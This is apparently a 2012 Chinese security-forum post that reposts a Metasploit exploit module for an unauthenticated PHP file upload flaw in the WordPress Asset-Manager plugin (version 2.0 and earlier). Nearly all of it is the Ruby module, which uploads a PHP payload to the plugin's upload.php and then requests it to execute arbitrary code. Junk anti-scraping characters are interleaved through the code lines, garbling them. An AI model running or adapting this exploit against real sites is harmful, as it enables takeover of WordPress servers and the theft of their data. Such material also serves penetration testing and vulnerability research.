找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1999|回复: 0
打印 上一主题 下一主题

WordPress Asset-Manager PHP文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:22:33 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。; y2 Q! i5 p/ J

; z1 }' r7 H/ Q1 P/ N# b7 ]- \: i- U##
6 ?- e- t- A' c4 F. q7 x# This file is part of the Metasploit Framework and may be subject to
/ Q1 P/ {6 t- b0 n% B6 h# redistribution and commercial restrictions. Please see the Metasploit
( x$ c& |! s& e6 [; [* V# p8 \# Framework web site for more information on licensing and terms of use./ J0 B7 |5 B5 K! G% L
#   http://metasploit.com/framework/5 B3 B/ [0 e0 d! C/ x! [
##* m& J' y- D4 p: F( {
6 y1 y) |) C8 H9 h. }4 r5 n
require 'msf/core'/ V! Y$ d6 F1 }
require 'msf/core/exploit/php_exe'
% O) ^) M- D& Z* S# c 1 q& J. ?# Q9 W$ y8 S  k) {2 e2 J- o$ M
class Metasploit3 < Msf::Exploit::Remote9 A9 W- F: H5 `6 i0 p
  Rank = ExcellentRanking
7 ]' `1 _8 y% W% B# P+ K! g
7 t( z3 l! n2 b  include Msf::Exploit::Remote::HttpClient
! m4 T* i! ~5 H, Q! i  include Msf::Exploit:hpEXE
* z6 |0 J* E6 v 1 }& F! |/ T' D( V& T* Y9 i9 R5 Y6 l
  def initialize(info = {}): F! ?5 o: P7 e6 B3 h  [
    super(update_info(info,
0 A4 O9 z7 L- G( q      'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',
2 k5 j0 m2 m( G1 t+ U: Q1 R2 K      'Description'    => %q{
- r5 L/ Q& B. p5 M        This module exploits a vulnerability found in Asset-Manager <= 2.0  WordPress
1 U8 ^4 ?: J" \7 l6 z        plugin.  By abusing the upload.php file, a malicious user can upload a file to a
- s9 J, `! }4 G) t        temp directory without authentication, which results in arbitrary code execution.1 d" {8 y1 v8 E2 n: j1 M' x* `
      },# A% t5 W, R+ V" D
      'Author'         =>
. w& M! W5 E/ e2 {8 g0 C        [
( k4 s  a1 {( b2 N7 k          'Sammy FORGIT', # initial discovery3 b2 e1 f: @8 m
          'James Fitts <fitts.james[at]gmail.com>' # metasploit module. V' v2 N( T( l
        ],
4 m# C/ e1 p5 G* I/ T) S      'License'        => MSF_LICENSE," |8 m- H$ m- |
      'References'     =>- \$ I1 t' G2 `3 q7 a
        [
. R3 N1 w# {* L$ @4 U          [ 'OSVDB', '82653' ],
5 `; J- Y3 ~* E8 N: ]" L$ m          [ 'BID', '53809' ],% |, x  A* z# |
          [ 'EDB', '18993' ],
, _  f/ r( g+ V5 Y+ P, f          [ 'URL', 'http:// www.myhack58.com /' ]
# Q9 F3 \5 u, w$ x6 T        ],
8 C/ r4 h- G. w# D      'Payload'       =>
! d! g) r+ K! z* @  h0 j7 b6 L        {
* h* o7 h2 Q3 D5 B          'BadChars' => "\x00",$ l9 l/ p# ?6 J4 c' ^4 M  d/ u
        },
- v* O# _$ k$ y5 P+ ?* C      'Platform'       => 'php',, o% a8 ~5 A, W) V
      'Arch'           => ARCH_PHP,
4 [: J- }+ w# x3 E7 |$ l8 K      'Targets'        =>& e6 Z: v& c. b; C( F7 W9 U
        [3 x: i+ i* N( }1 j6 |9 t9 Z4 i
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
% l, r  f, L6 j" ^0 M: Q3 R          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
! @5 W; F+ e" O3 o6 t$ Q        ],, m, |# u7 a/ B; Q
      'DefaultTarget' => 0,3 B; b8 S, H, F1 s
      'DisclosureDate' => 'May 26 2012'))
! C7 M- P7 B+ [0 d. D4 j  ~
" p/ n9 ~& z" f    register_options(
; l2 w5 y8 s% q' s, n9 k      [
& j7 X: \' A3 v0 K( Z5 u# n  ~        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress']); k( r, u2 Z4 Q8 S) [% b
      ], self.class)# `2 E' r# A: a" T( A  j8 v6 G& r
  end* Y5 n3 K" s) b" F8 E$ V
, z6 X1 }) q, G7 y' v7 L. S
  def exploit
7 \2 j( ~# g# D- Q$ q. H+ ]    uri =  target_uri.path
  y9 b# f( H7 j* ^3 G6 Z    uri << '/' if uri[-1,1] != '/'# w# _+ ]1 q+ U3 r
    peer = "#{rhost}:#{rport}"9 _- s( r5 f* C# c
    payload_name = "#{rand_text_alpha(5)}.php"; Q1 K! h! u: r! W# b
    php_payload = get_write_exec_payload(:unlink_self=>true)
1 d8 L8 H% `$ _  P' D $ K. p2 n7 Y3 h0 Z' d- c1 }  n  S
    data = Rex::MIME::Message.new
2 o7 J! |; u# A1 ^* J7 s, A& z! ]9 w    data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")& u, I6 n: f4 G/ d& L& H
    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')4 j# o8 }  y7 O
+ i" ^4 |$ O+ r7 B: H5 D
    print_status("#{peer} - Uploading payload #{payload_name}")7 n) _) V" y+ i8 V% _9 B
    res = send_request_cgi({
3 i& ^8 D) R1 ]/ N      'method'  => 'POST',
3 M- w/ y7 @+ T; o+ u7 C. Q      'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",
' f' h9 A+ o2 n6 C3 d) p0 M      'ctype'   => "multipart/form-data; boundary=#{data.bound}",. b6 O2 A* ]5 E1 \9 I
      'data'    => post_data
' b# Z5 d0 u0 ~* U' @    })* G8 q# o+ C- i5 L/ \$ ]% i. ?
1 ~0 _* q3 l5 V7 v+ ~2 U& s
    if not res or res.code != 200 or res.body !~ /#{payload_name}/
3 o& u" T, l% K  S' n+ y      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
5 D# Y/ K+ x8 k. G  \end
, |- \  D6 `: N) D% j/ c1 T ' e* C* S9 s4 q! S. }. A" Q1 e7 i8 P
    print_status("#{peer} - Executing payload #{payload_name}")5 j3 ?  u. U7 q) v3 [
    res = send_request_raw({
, s# k2 P7 Y- J# F      'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",& Z( B1 z8 y7 U9 h- P4 E' g# D- |
      'method'  => 'GET'% B) I8 J* h* L7 c) q  Q. k
    })& @' o# r" h% z- D9 S* |7 z

0 G' w" X* j4 C+ i& G- n1 L    if res and res.code != 200
% Q% d. D0 v* m* |/ ?3 O4 L5 H8 u      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
8 \: @. S& d" g/ }    end
6 s3 }& D$ @# p7 H* Z; r0 _  end- ~8 f, Z: j: L
end
0 C- R. C9 N) @' I1 H, e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表